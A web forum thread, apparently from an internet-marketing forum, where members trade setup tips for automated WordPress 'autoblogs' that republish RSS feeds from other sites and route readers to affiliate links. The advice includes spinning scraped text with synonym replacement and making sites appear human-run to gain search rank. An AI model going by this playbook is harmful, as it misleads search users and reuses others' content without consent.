      I'm currently investigating alternatives with some cron control plugins with WordPress so it can possibly be automated from the one site. However, it's very preliminary research.

      Again, thanks for your interest in my process, and congratulations on buckling down and taking action. Good luck with your niche selection and I hope you achieve the success you deserve!

      P.S. Remember, even if it doesn't make it big, the automated nature of the thing makes it an easy sell to flip.
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      • Profile picture of the author Julian Lockhart
        Originally Posted by Keith Kogane View Post

        Hey man, you're welcome! Glad you'll be able to get some use out of it.

        For #2, no. That's your WordPress cron file, not where you should put that. The code you have there needs to go in your unix cron configuration. If you don't know what that is, just deactivate the unix cron. It's pretty hardcore, and even though GoDaddy (my host) allows unix cron interaction, I haven't gotten WP-O-Matic to work with it. I'm not techie enough to troubleshoot it if it doesn't work on the first try.

        Instead, I disable the unix cron and let WP-O-Matic do it itself. If you do this, it fires whenever someone visits the site. If you don't like relying on that method (if you have huge traffic, it can bog - I've never personally had an issue), you can bookmark the pseudo-cron url provided and just visit that as often as you'd like to update. That's just a single click, and no need to log in.

        I'm currently investigating alternatives with some cron control plugins with WordPress so it can possibly be automated from the one site. However, it's very preliminary research.
        Keith - Good info.

        Great News! I figured out the problem with wp-o-matic cron jobs not working at GoDaddy.

        In the WP-o-Matic options section it shows the UNIX command as:
        */20 * * * * /usr/bin/curl hxxp://wtw.yoursite.com/wp-content/plugins/wp-o-matic/cron.php?code=YOURKEY
        When you enter that in GoDaddy cron it doesn't not work:confused:

        This works:
        /usr/bin/curl hxxp://wtw.yoursite.com/wp-content/plugins/wp-o-matic/cron.php?code=YOURKEY
        (hxxp=http and wtw=www)
        Why?
        Because */20 * * * * means execute said command every 20 minutes and the Godaddy cron tool handles timing separate from the command to be executed.

        I figured this out by doing some Google searches on cron jobs. Took a little tinkering. . . I sure love to figure things out - sometimes to my detriment. That being said, I hope that it will forward all of our efforts.
        Looking forward to WSO.

        Julian
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        • Profile picture of the author Keith Kogane
          Originally Posted by Allegro View Post

          i have added the cron job to hostgator, and it runs every hour, but it doesnt fetch anything? i then tried to use the url-command myself, but it only showed a blank site and when i checked the log after, i saw that nothing happened... do i have to add something to the htaccess too? i checked the readme and it said nothing about editing anything...

          and thanks for the tip, i now populated my blog with 60 postings and set it now to one posting per feed per fetch... i also think that the option that shows the date when it was originally posted should be enabled, else it would show that 5 postings are made at the exact same time!

          edit: hm now thats weird, it shows me that the cron job was processed, but it didnt check the feeds... it only shows the feeds checked after i fetched manually, and only added postings after that.

          i guess i will give it this day time and check in the evening if anything happened, if not i will look into that next night

          however, now that gocodes work, im going to add my 200+ keywords to the replace-list

          Edit 2: Now i am really confused, although i added the cronjob to run every hour, the wp-o-matic dashboard tells me
          Next campaigns to process

          1. 6h 58m 26s
          so i can only fetch posts automatically every 8 hours? that sucks, especially in the WoW niche where there are around 10 postings per day... and i fetch only 2 per site...
          Hey - sorry you're having such trouble with the cron stuff. I wish I could give you better advice, but I don't currently use hostgator, so I'm unfamiliar with their setup. If you can't figure it out, try the utopia cron plugin. I haven't gotten to testing it myself, but others here have said it was working for them. Good luck!

          Originally Posted by Chris Grable View Post

          Keith,

          Is there any way you could point us to a site where you have this implemented? I'm having trouble wrapping my arms around the concept.... I guess maybe I just need to see iut.
          Like I mentioned earlier, I don't have a demo site set up. I'm not anxious to share my live sites right now, because they ARE susceptible to reverse engineering, and since this is a game of statistics, I'm not looking to invite competition. Mind, you the average visitor won't really know the scoop, but since I told you all what to look for, anyone looking at my sites after reading this will instantly be able to clone my site, and I guarantee someone would do that instead of finding their own.

          However, enough people are into seeing this kind of thing that I will probably create a demo site as part of a more in-depth report or possibly video series.

          Originally Posted by JJOrana View Post

          Anybody having problem with relink to: field?

          I'm having problem to run that part.
          Can you be more specific? I'd love to help you get it sorted out.

          Originally Posted by mudmat View Post

          Hi guys,

          How do I automated the fetching of post from the feeds?

          I don't think I saw the option to automate the fetching of post from the feeds..

          Another question: Is there any software that enables you to submit your rss feed at one go? Meaning that you do not have to manually submit your rss feed to the different rss sites.
          1. You do this when configuring WP-O-Matic. It's in the tab options when configuring the campaign (I'm pretty sure, I'm not looking at it right this second, but it's part of WPOM). If you're in the dark about using cron, try the utopia cron plugin I mentioned earlier. I can't speak on it personally, but I've heard good things and will be trying it myself soon.

          Originally Posted by Julian Lockhart View Post

          Keith - Good info.

          Great News! I figured out the problem with wp-o-matic cron jobs not working at GoDaddy.

          *snip*

          I figured this out by doing some Google searches on cron jobs. Took a little tinkering. . . I sure love to figure things out - sometimes to my detriment. That being said, I hope that it will forward all of our efforts.
          Looking forward to WSO.

          Julian
          Julian, you are my hero! I spent a week or so trying to get this set up, but I'm just not techie enough to persevere when it comes to messing with that stuff. Awesome to know you got this figured out. I'm still going to test Utopia Cron as it seems like a good thing to have for others (Cron's kind of hard to explain) but I'll def. try this out on a couple of sites today!

          Thanks a bunch!
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        • Profile picture of the author davo
          Keith,

          Thank you so much for generously sharing your knowledge in here.

          I too got into the autoblogging thing, using Adam's PGInsider and set up many blogfarms, and saw the whole thing collapse and die when Google decided there were too many splogs out there.

          So I killed off my 200 sites and went back to around 20. But I still don't make decent money, even trying to be a good "white hat" boy.

          I shall now try and get some of my mostly unused domains going using your methodology. But I'd better be careful, since they are all on the same host and ip. Maybe I'm saving so much money on hosting that I'm cutting my own throat? I dunno.

          Kind regards,

          Davo

          PS: If you plan on selling a guide or some tutoring, then please count me IN. Thanks.
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            I discuss the IP problem on my IM blog. Go to the hosting page and see. I use HE because they give me 16 domains with 16 unique IPs.

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            Originally Posted by davo View Post

            Keith,

            Thank you so much for generously sharing your knowledge in here.

            I too got into the autoblogging thing, using Adam's PGInsider and set up many blogfarms, and saw the whole thing collapse and die when Google decided there were too many splogs out there.

            So I killed off my 200 sites and went back to around 20. But I still don't make decent money, even trying to be a good "white hat" boy.

            I shall now try and get some of my mostly unused domains going using your methodology. But I'd better be careful, since they are all on the same host and ip. Maybe I'm saving so much money on hosting that I'm cutting my own throat? I dunno.

            Kind regards,

            Davo

            PS: If you plan on selling a guide or some tutoring, then please count me IN. Thanks.
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            • Profile picture of the author Guru
              Hi

              I have created a test blog to test. when I am getting post from rss feeds its only 2-3 lines as most of source provider provide only that much as feed. Is that normal or you can get long full article in your blog from these rss providers? Am I doing something wrong?

              THanks

              G

              p.s. still trying to learn about cron job etc...
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              • Profile picture of the author Keith Kogane
                Originally Posted by Guru View Post

                Hi

                I have created a test blog to test. when I am getting post from rss feeds its only 2-3 lines as most of source provider provide only that much as feed. Is that normal or you can get long full article in your blog from these rss providers? Am I doing something wrong?

                THanks

                G

                p.s. still trying to learn about cron job etc...
                Some rss feeds only provide an excerpt, some provide more. It's up to whoever publishes the feed. Look around on google for "keyword based rss feeds" and you should find a lot of resources, and give yourself a better chance of finding more substantial content.

                Can you let me know more specifically what you need help with as far as cron goes? I'd love to help.

                P.S. For everyone else, I've been testing that Utopia Cron plugin I mentioned, and it works great. All that's needed for it to trigger the fetch is someone visiting your site. You're going to do that enough times yourself while setting it up. If you're submitting your feed to places regularly, your own visits will keep you covered for updates by the time your first few visitors should be arriving. (Based on my own admittedly limited experience, that is). Anyway, the point is, if you can't set up a unix cron, and WP-O-Matic isn't just updating itself, you can follow the included pseudo cron instructions and use Utopia instead of the website in the instructions.

                Hope that alternative helps anyone having trouble with the automation part of this setup.

                And now, since I can't tell if I've stayed up too late, or woken up too early - I'm off to bed.
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    • Profile picture of the author Keith Kogane
      Originally Posted by BlogBrowser View Post

      Hey Keith, how do you feel about posting all the blogs into one domain, each at a different folder with their respective Wordpress instance?
      Hmm. I don't like that, just because it limits what you can do as far as keeping the theme focused. Plus, if you intend to flip these and sell links, it's better to keep them separate. It'll be much easier to sell if they're isolated, and much easier to get multiple high PR landing pages if they're on separate domains.

      The only exception for that would be if you made each blog's homepage a separate subdomain. That would keep the SEO mojo, but would still have the same flip problem.

      I don't know if my plugin suggestions would work with Wordpress MU, but they might, and it could be of some benefit, but I don't know. Seems limited to me.
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  • Profile picture of the author Uncle Dimitry
    I couldn't resist advertising my own service, which already helped hundrends of my customers to get thousands of visitors:

    Blogomator

    It is better than RSS, use your own content (or PLR). Don't scrap junk content from other people's sites!
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  • Profile picture of the author Noel2010
    This is very interesting to read. I hope the OP or someone will start to offer consultation because I got a major headache from reading this. I was completely lost after the 3rd line!
    Anyway, Thanks for the information.
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  • Profile picture of the author Guru
    Originally Posted by Keith Kogane View Post


    What will happen is that the blog is continually building keyword targeted backlinks to your GoCode URLs, and sending keyword targeted traffic to your affiliate offers. Keep an eye on the affiliate programs, swap out non-performers with something different in the GoCodes setup. (This is another reason we're using GoCodes instead of directly using the affiliate URLs - you don't lose all the previous link-building).

    Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).

    K.K.

    Hi K.K,

    Thanks for very good info. Can you please explain how blogs will get back links and from where? I don't understand this part.

    Will appreciate your answer.

    Cheers
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    • Profile picture of the author Keith Kogane
      Originally Posted by Guru View Post

      Hi K.K,

      Thanks for very good info. Can you please explain how blogs will get back links and from where? I don't understand this part.

      Will appreciate your answer.

      Cheers
      G
      When you submit your RSS feed URL to every place you can find to do so, your content will be spidered and syndicated, and re-published, much the same way we're gathering our own content with this method. Depending on how and where this happens, we'll begin to get trackbacks, backlinks, etc.

      Sometimes, they'll even republish your entire piece of content, links intact. Which of course, is ideal.

      How many you get, and how it happens will depend on the niche: how much content is generated, how many places republish that content, etc. etc.

      If you're lazy (like me), you can stop there. It works okay.

      Depends on what you want to do. If you're looking to flip these or sell text links, you can get ahold of lists of nofollow and high-PR places you can comment and try to get backlinks/trackbacks.

      It's a little more hands-on, but not really rocket science. Just get a decent guide on link-building for SEO and do it.

      Plus, when you see your stats and there are places giving you link love, you can go hands on and try a content trade, link swap with those sites.

      That's if you're NOT lazy like I am. Does my method work? Yep. Does it work as good as if you'd actually done some link building too? No. But think of all the time you can spend building links when you don't have to worry about actually posting on the blog at all.
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      • Profile picture of the author Guru
        Thanks K.K. for quick reply. I think once I set up a simple blog like this then I think I can understand everything. This is looking so easy/simple and good to make some extra cash.. ( or a lot if one can set up so many blogs )

        Thanks again!

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  • Profile picture of the author antzman1414
    Good, lots of information.
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  • Profile picture of the author briank99
    Hi, Keith:

    I tried both wp-o-matic and smartrss. I like the look of the results much more with smartrss than I do with wp-o-matic but I have one problem and I was wondering if you do too. When I get the results for smartrss it takes the bbcode such as b or /b and just adds it to the page rather than making the word bold. Do you know a way around this?

    BTW, this is one great thread.

    Thanks,
    Brian

    PS. Utopia Cron plugin is easy to work with and makes setting up the cron job for wp-o-matic or smartrss very easy.
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  • Profile picture of the author Evita
    Keith,

    How may places, on average do you pull your feeds from?

    How soon will you see back links, and how soon do you see PR go up?

    What are the PR's on some of your blogs?

    Thanks,
    Evita
    PS. hope you will come out with a juicy WSO!!
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    • Profile picture of the author Keith Kogane
      Originally Posted by briank99 View Post

      Hi, Keith:

      I tried both wp-o-matic and smartrss. I like the look of the results much more with smartrss than I do with wp-o-matic but I have one problem and I was wondering if you do too. When I get the results for smartrss it takes the bbcode such as b or /b and just adds it to the page rather than making the word bold. Do you know a way around this?

      BTW, this is one great thread.

      Thanks,
      Brian

      PS. Utopia Cron plugin is easy to work with and makes setting up the cron job for wp-o-matic or smartrss very easy.
      Brian, thanks for the comment. I'll check out Smart as well, but the reason I like WP-O-Matic is because of the built in replacement features. For example, the bbcode you're seeing could be repaired with WPOM's character replace. However, I'm looking for other methods to maybe mitigate that. I should at least have some options soon.

      Good to hear about Utopia - it's in my list of stuff to test this weekend. I'll put it on the fast track and see if I feel comfortable recommending it myself. (Not that I don't believe you, but I just like to verify before I repeat something I only read on a forum. )

      Originally Posted by Evita View Post

      Keith,

      How may places, on average do you pull your feeds from?

      How soon will you see back links, and how soon do you see PR go up?

      What are the PR's on some of your blogs?

      Thanks,
      Evita
      PS. hope you will come out with a juicy WSO!!
      1. It depends. Different niches/keywords have different levels of content available. I like to build newsy sites, so I have lots of mini/micro posts from all over. If it's a keyword-based feed, I only use one per category typically. If I'm pulling from only a few niche serving blogs, I'll have a few per category depending on output.

      2. It depends, and it depends. I know you want something more solid, but it's variable. Let's assume you do only what I recommend in the first post. Backlinks can happen for a couple of reasons. A. You repost something from a blog that has automatic trackbacks. B. Another site re-publishes your feed content. Now, whether A. happens depends on the configuration of the blogs/sites that create keyword ranked content. Whether B happens depends on how many sites will pick up/re publish your content. Neither of those things are within your control. That's why you build many sites around many topics and keywords to increase the likelihood of A, and why you submit your feeds to as many sites as possible to increase the likelihood of B.

      PR is a measure of how relevant the rest of the web finds your content. Generally speaking, this is measured through the number of backlinks coming in, as well as the anchor text of those links. So you see, the rate and amount of PR you get is directly tied to how well you do at getting backlinks. Also be aware that Google does not update their public PR numbers more than once every 3 months or so. Depending on where you are in the cycle, you may see no change, and then suddenly you're PR4! Now even though the REPORTING of that score is delayed by months, your performance within Google's index is constantly updated. ACTUAL PR is different than the simple 0-9 scale Google decides to show us.

      3. My sites range from PR0 to PR6. The PR0 ones are just not in productive niches. The irony is, this is probably where the greatest opportunity lies. It's a high demand, low supply niche. But because of that, there's a lack of content to feed my site. If I wanted to bother creating or commissioning content, I could own the whole market. But see above re: lazy.

      Also, the one that's PR6 was built on top of a very old domain that I used to keep a *real* blog on. It had PR from before.

      I'm actively trying to learn more about PR and nofollow for funneling, because it seems like with all the PR 3 and 4s I have, I should be able to really juice up the weaker blogs just by linking to them. I don't know enough to speak with authority on that, though.

      Hope that answers your questions. Please let me know if you have more!
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      • Profile picture of the author Ryan_Taylor
        Originally Posted by Keith Kogane View Post


        I'm actively trying to learn more about PR and nofollow for funneling, because it seems like with all the PR 3 and 4s I have, I should be able to really juice up the weaker blogs just by linking to them. I don't know enough to speak with authority on that, though.
        Hey Keith,

        If you are using add-on domains for all your sites, be careful about linking them together. I'm no SEO expert, but I've heard that this can really hurt you - especially if the sites are on the same ip/servers.
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        • Profile picture of the author Keith Kogane
          Originally Posted by Ryan_Taylor View Post

          Hey Keith,

          If you are using add-on domains for all your sites, be careful about linking them together. I'm no SEO expert, but I've heard that this can really hurt you - especially if the sites are on the same ip/servers.
          You have any recommended resources on that? Like I said, I'm still trying to learn more, and I'm not making any attempts or recommendations on controlling PR laterally until I get up to speed. I definitely don't want to risk creating a pattern and losing PR.

          Thanks for the heads-up though!
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  • Profile picture of the author briank99
    Keith,

    Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

    With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

    Brian
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    • Profile picture of the author Seattle Mike
      Thanks Keith. This is a great method to get a lot of blogs going and keeping them full of fresh posts. I was able to get gocode working. Tried another htaccess code and it works good.
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    • Profile picture of the author mudmat
      Originally Posted by briank99 View Post

      Keith,

      Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

      With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

      Brian
      Hi,

      Thanks for the info! Most of the articles that I pull in from feed are half articles. I will try using rssmountain.

      Thanks!
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  • Profile picture of the author Allegro
    i have a problem with GoCodes too. I went to Manage -> GoCodes, added the redirection key "leveling" (i'm making a world of warcraft site), entered my hoplink as the target, and enabled logging.

    now when i go to mysite.com/go/leveling i get a 404

    besides that, i added the wp-o-matic cron to hostgators cronjob-function. lets see what happens now, i set to unlimited postings, and i have a package that allows me unlimited bandwith and space... if their servers can handle it?
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    • Profile picture of the author Keith Kogane
      Originally Posted by briank99 View Post

      Keith,

      Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

      With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

      Brian
      Thanks for the tip on RSSMountain! I bet people here will find that useful. Also try Content4Reprint if you want longer stuff. I just found them this week while researching more options for my method, and I bet you might be able to get something from them. Just make sure that if you're using long posts, do some synonym replacing with WP-O-Matic as well as link replacing. You want to get some originality in there for SERPS benefit, but personally, I also retain backlinks to the source, because it's only fair if I'm going to piggyback on their work. To each their own. Just keep an eye on those TOCs and Paul Meyers pointed out a page or so back.

      Speaking of content remixing, I'm currently working with a couple of RSS aggregators that are external to WordPress. They would basically mash various feed entries into single, longer posts. At the same time, the programs I'm working with also mix up sentences and words and the like, so with some careful configuration, I see a lot of potential. I'll let you guys know if I get it working in a worthwhile way.

      Originally Posted by deverell View Post

      Thanks Keith. This is a great method to get a lot of blogs going and keeping them full of fresh posts. I was able to get gocode working. Tried another htaccess code and it works good.
      Awesome! Glad you got it figured out.

      Originally Posted by Allegro View Post

      i have a problem with GoCodes too. I went to Manage -> GoCodes, added the redirection key "leveling" (i'm making a world of warcraft site), entered my hoplink as the target, and enabled logging.

      now when i go to mysite.com/go/leveling i get a 404

      besides that, i added the wp-o-matic cron to hostgators cronjob-function. lets see what happens now, i set to unlimited postings, and i have a package that allows me unlimited bandwith and space... if their servers can handle it?
      For GoCodes, be sure you follow the instructions. In addition to uploading the plugin files, activating, and configuring - you ALSO need to add a line of code to your .htaccess file. That's what the previous poster was talking about.

      And a word of warning - you CAN create a buttload of posts in an instant with WP-O-Matic but my recommendation is to not go nuts. Just set up the site to grow steadily over time. That'll give you a better chance of long term indexing in the search engines. The other way, you run the risk of being ID'd as a junky site and dumped from the index if you grow too fast.

      The idea here is to simulate a real organic blog - but rather than posting every day, you set up a set of automated rules to do it for you. You shouldn't go from 0 to 100 on the first day. Go from 0 to 1 first. Then start another blog. While you're getting that one from 0 to 1, the first one is taking itself from 1 to 2.

      Make sense? Let me know if you need more specific help with the goCodes. Thanks for the reply!
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    • Profile picture of the author Seattle Mike
      Try this Allegro

      Place the following code in your .htaccess file, above the line that says "# BEGIN WordPress":
      RewriteEngine On
      RewriteRule ^go/([A-Za-z0-9]+)/?$ /index.php?gocode=$1 [L,R]

      This example assumes your blog is located at the root of your domain. If your blog is located at yourdomain.com/blog/, then you should change "/index.php" to "/blog/index.php".

      This got my links working.
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      • Profile picture of the author TimPhelan
        My .htaccess file is empty. Any ideas on where to put the code? I tried putting it in there and it didn't work.

        Originally Posted by deverell View Post

        Try this Allegro

        Place the following code in your .htaccess file, above the line that says "# BEGIN WordPress":
        RewriteEngine On
        RewriteRule ^go/([A-Za-z0-9]+)/?$ /index.php?gocode=$1 [L,R]

        This example assumes your blog is located at the root of your domain. If your blog is located at yourdomain.com/blog/, then you should change "/index.php" to "/blog/index.php".

        This got my links working.
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        • Profile picture of the author Keith Kogane
          Originally Posted by Alminc View Post

          Keith,

          I've tried to get articles from Google News.

          I did a search for my keywords and a lot of articles
          were returned.

          Then I picked the rss feed and entered it into wpomatic
          but when I do the 'Fetch' I got this message:

          'Campaign processed. 0 posts fetched'


          I can fetch articles from other feeds but Google News
          returns zero articles.

          Am I missing something obvious ? What to do?

          Almin
          Hiya,

          Try Steve's fix above. I also responded to your PM with a little more info than that, but it should be what you need. If not, reply to my PM and we'll try and get you fixed up some other way.

          Originally Posted by TimPhelan View Post

          My .htaccess file is empty. Any ideas on where to put the code? I tried putting it in there and it didn't work.
          Are you sure it didn't work? I don't want to sound accusatory, but other people have had trouble working out what exactly GoCodes is supposed to do.

          Try changing your permalink structure to something more keyword friendly in the admin. Then, make sure you're putting the code in the .htaccess in the root of your blog installation. (Changing the permalink structure will mean the right htaccess MUST have some Wordpress code in there, and it'll make it easier to make sure you're messing with the right one.)

          Then, to test your GoCodes, you go to http://www.yourdomain.com/go/redirect_key

          The redirect key should be what you configured in the GoCodes admin, and the above URL should redirect to the link you specified in the same place in the GoCodes admin. Hope that helps!
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          • Profile picture of the author TimPhelan
            Thanks Keith

            It's working now. I had tested it before and understood what it was supposed to do, but I was getting the error page when tested. All is working now.

            Excellent thread!

            BTW, what I am going to do is add some of the eBay rss affiliate ads that Google loves using the phpbay.org plugin which has a free lite version. Plus make some original posts. I think that will be a good mix.

            Originally Posted by Keith Kogane View Post

            Are you sure it didn't work? I don't want to sound accusatory, but other people have had trouble working out what exactly GoCodes is supposed to do.

            Try changing your permalink structure to something more keyword friendly in the admin. Then, make sure you're putting the code in the .htaccess in the root of your blog installation. (Changing the permalink structure will mean the right htaccess MUST have some Wordpress code in there, and it'll make it easier to make sure you're messing with the right one.)

            Then, to test your GoCodes, you go to http://www.yourdomain.com/go/redirect_key

            The redirect key should be what you configured in the GoCodes admin, and the above URL should redirect to the link you specified in the same place in the GoCodes admin. Hope that helps!
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  • Profile picture of the author tntrader
    Great thread, and thanks for sharing the information Keith.

    For a split second, I thought I stepped back into 2006-2007, when auto-blogs were the craze. I was under the impression (apparently wrongfully so), that this type strategy no longer works. Glad to hear that I am wrong.

    Do you have an example you can show us?

    I have a handful of domains that I haven't had time to work with yet, and I definitely think this will work well for parking those domains.

    Chris
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    • Profile picture of the author Keith Kogane
      Originally Posted by tntrader View Post

      Great thread, and thanks for sharing the information Keith.

      For a split second, I thought I stepped back into 2006-2007, when auto-blogs were the craze. I was under the impression (apparently wrongfully so), that this type strategy no longer works. Glad to hear that I am wrong.

      Do you have an example you can show us?

      I have a handful of domains that I haven't had time to work with yet, and I definitely think this will work well for parking those domains.

      Chris
      Yeah, that's actually when I got started doing auto-blogs. I guess it WAS a craze! Funnily enough, it DIDN'T work for me back then, but I was going for the "create as many pages as you can and plaster them with adsense" - needless to say, that method IS burned. I failed at it, and never did get it to work in any kind of niche (unless $20 for 6 months of work is a success).

      The techniques I developed since then are less about blog spamming and RSS bombardment, and more about making a site that's admittedly mediocre, but simulates a real blog run by a human. I mean, I AM a human, but rather than posting day bay day, I consider it like I'm setting "rules" that allow the blog to do what I would do anyway. I just check in occasionally to make sure the instructions were specific enough so the site stays on track.

      I focused less on AdSense and placing adblocks for maximum exposure. Instead, I build the sites to have unobtrusive ads, but plenty of congruent affiliate offers and products. I try to place my sites in niches where there is little competition from others like myself, and position myself as a nexus of information for that niche. Sort of like a one stop shop for all the "buzz" on that topic.

      As for sharing my sites, I'm not currently in any niche where I'd readily invite competition. Obviously, looking at my technique, you can see how if I showed you my blogs, you'd know all the secrets I had to spend a lot of research and tweaking to discover - my keywords, my backlink sources, my markets, etc. You automatically discover these things on your own while using the method and trying different stuff - I'm not holding back anything of the method, I'm just keeping a few known successful values for the variables to myself.

      Hope no one minds.

      That being said, were I to sell this method as a product, I'd most likely create a sample site from scratch in order to demonstrate more specifically what it is I mean. I'm toying with the idea of following it all the way through and selling it on SitePoint, too, just to show the full range of possibility. Anyway, we'll see. I don't want anyone to think I'm promoting anything that doesn't even exist yet.

      Until then though, I'll have to get by with using descriptions, as I don't have anything I'm willing to share at this point. Sorry about that.

      That being said, if they're dead domains you aren't doing anything with, it's not like you have a high expectation of profit to meet. Give it a try. It'll take an hour or so to set up if you know your way around wordpress and have a general idea of your niche. What would it hurt? You're not doing anything on those sites anyway, so it could only help.

      All my experience says it'll perform better than *nothing*.
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  • Profile picture of the author Allegro
    thx deverell, funny that i havent read that...

    but i ran into another problem. i have added the cron job to hostgator, and it runs every hour, but it doesnt fetch anything? i then tried to use the url-command myself, but it only showed a blank site and when i checked the log after, i saw that nothing happened... do i have to add something to the htaccess too? i checked the readme and it said nothing about editing anything...

    and thanks for the tip, i now populated my blog with 60 postings and set it now to one posting per feed per fetch... i also think that the option that shows the date when it was originally posted should be enabled, else it would show that 5 postings are made at the exact same time!

    edit: hm now thats weird, it shows me that the cron job was processed, but it didnt check the feeds... it only shows the feeds checked after i fetched manually, and only added postings after that.

    i guess i will give it this day time and check in the evening if anything happened, if not i will look into that next night

    however, now that gocodes work, im going to add my 200+ keywords to the replace-list

    Edit 2: Now i am really confused, although i added the cronjob to run every hour, the wp-o-matic dashboard tells me
    Next campaigns to process

    1. 6h 58m 26s
    so i can only fetch posts automatically every 8 hours? that sucks, especially in the WoW niche where there are around 10 postings per day... and i fetch only 2 per site...
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  • Profile picture of the author JJOrana
    Anybody having problem with relink to: field?

    I'm having problem to run that part.
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  • Profile picture of the author mudmat
    Hi guys,

    How do I automated the fetching of post from the feeds?

    I don't think I saw the option to automate the fetching of post from the feeds..

    Another question: Is there any software that enables you to submit your rss feed at one go? Meaning that you do not have to manually submit your rss feed to the different rss sites.
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  • Profile picture of the author Evita
    Once we have pulled a feed with WOP, will it pull the same feed again?

    Just found a ton of feeds on rssmountain (Thanks Brian!) I added a bunch to be fetched...

    How do I schedule this? If I do 10 at a time and I have 30 feeds? Then the feeds get updated?? They get fetched again?? Or?

    I'm a bit confused about how the feeds get fetched... how the whole thing gets organized... how you not end up with the same feed 15 times over.

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      Once we have pulled a feed with WOP, will it pull the same feed again?

      Just found a ton of feeds on rssmountain (Thanks Brian!) I added a bunch to be fetched...

      How do I schedule this? If I do 10 at a time and I have 30 feeds? Then the feeds get updated?? They get fetched again?? Or?

      I'm a bit confused about how the feeds get fetched... how the whole thing gets organized... how you not end up with the same feed 15 times over.

      Evita
      It'll only pull new entries from the feeds you have set up each time it updates. To fetch the feeds, you can either set up a unix cron job, or you can turn off unix cron and see if it'll update itself (mine work this way). Alternately, you can try using Utopia Cron plugin, though I haven't tried that myself.

      Think of feeds as a subscription, and you set a value (X) in WPOM. Each time you fetch it you will get the last X new entries posted to your blog. If there aren't X new entries, you'll only get the new ones. If there are MORE than X, you'll get only X. Don't mean to start talking in algebra. Hope that makes sense.
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      • Profile picture of the author Anees
        Hi Keith, thanks for such a nice post! I have one question if you can help me! I have a wordpress blog hosting on wordpress.com, for example, xyz.wordpress.com. Could you please tell me how can I install those two plugins on that? I have downloaded both but it says - "extract wpomatic.zip in the /wp-content/plugins/ directory" but I do not have any domain? Do I need to buy domain to get these two plugins installed. Thank you for your reply.
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        • Profile picture of the author Keith Kogane
          Originally Posted by Anees View Post

          Hi Keith, thanks for such a nice post! I have one question if you can help me! I have a wordpress blog hosting on wordpress.com, for example, xyz.wordpress.com. Could you please tell me how can I install those two plugins on that? I have downloaded both but it says - "extract wpomatic.zip in the /wp-content/plugins/ directory" but I do not have any domain? Do I need to buy domain to get these two plugins installed. Thank you for your reply.
          Hi Anees.

          Unfortunately, you're not going to be able to install plugins on a blog hosted by wordpress.com. Plugin functionality is only usable on your own installation of Wordpress on your own hosting account/domain.

          If you're doing marketing activities, it's better to own your own site anyway, really.

          Hope that's not too much of a disappointment, but hopefully you'll be able to move on without too much trouble if that's what you decide to do.
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  • Profile picture of the author new guy
    Keith, I just found this post tonight and have now read the whole thing. In the meantime, I set up a new domain and just installed Wordpress to get started. I have a question about your affiliate links. On a single blog, do you only link out to one affiliate product? And do you do so on every instance of a certain keyword? This part is a bit gray to me.
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    • Profile picture of the author Keith Kogane
      Originally Posted by new guy View Post

      Keith, I just found this post tonight and have now read the whole thing. In the meantime, I set up a new domain and just installed Wordpress to get started. I have a question about your affiliate links. On a single blog, do you only link out to one affiliate product? And do you do so on every instance of a certain keyword? This part is a bit gray to me.
      Hi new guy!

      Thanks for posting - to answer your questions:

      1. It depends on the blog/niche. There are a couple of blogs that only have one product. I think I even have one that has none, but that's just because I couldn't find any that converted well. The more content you have, the more you can get away with diversified products. Most commonly, I have about 5-10 categories per blog, with 1 or 2 feeds per category. Each category is based on a single keyword (each keyword is related to the blog's niche). Each category is usually based around 1 product, though sometimes more.

      2. Yes, if you're using WP-O-Matic for relinking, it will be every instance. That's the only option available there. If you're using something else like SEO Smart Links, there are more options. I believe that one limits itself to the number of links per post.

      Best bet is to just start messing with it, and do what makes sense for your site concept. The idea here is not to make something spammy, but to arrange these elements to make it look like a human-controlled site. But you also don't want to make it perfect. Let it be mediocre, but don't let it look spammy, or else no one will even want to look at it.
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  • Profile picture of the author Guru
    Hi KK,
    That was quick reply.

    I think I am finding two problem in your given process

    1) getting rss feed provider which will provide long ( atleast 15-20 lines ) content. but as you suggested I should look more and I should be able to find that on google.

    I tired so far yahoo feed, google news feed, google blog feed, ezinearticles.com feeds but i will look at more places and try to find good feeds.

    2) Second major problem is updating the blog using wp-o-matic using word press/cron etc..

    In one of my test blog I used WP-o-matic internal function for cron job ( unix base ) I just clicked on the check box ( which was there ) and after that it should be doing itself ( I guess )

    after doing this I selected to get 2 post from the RSS every 3 hours and I left it for 12 hours but I didn't get any post in my blog.

    I got only 2 post from the rss feed in the beginning of starting campaign in WPOP ( by fetching)

    why I didn't get more post after 12 hours or so?

    I think cron is not working above way ( which should be working as there was no error )

    Now even its not working when I am checking the blog it should have fetched few posts from the rss source ( am I right? ) ( in WPOP language ""pseudo-cron web-based approach takes place"") when I m checking my own blog.

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    Now after it didn't work I started new blog and didn't do that unix based cron in WPOP and install utopia cron plugin. and asked it to read my cron page every 15 minutes to fetch 2 rss feed and post in the blog but even after few hours only post I got, which I fetched at the time of creating campaigns.. ( so same problem )

    I created 3 campaigns and using CNN health, Yahoo health and CBS health feed for testing purpose.



    Do you think I am doing something wrong somewhere?



    Thanks

    G
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    • Profile picture of the author davo
      Guru:

      If you are using either of the two Cron options (Simplified and Traditional Unix format) from within Cpanel, there is a space for you to enter your email address.

      Place your email in there, and Cron will sent you an email every time it triggers the command you set.

      It is great for debugging, and making sure Cron is working okay.

      When you are sick of getting the emails, log back in thru Cpanel and remove the email address from the form.

      Cheers,
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      • Profile picture of the author Guru
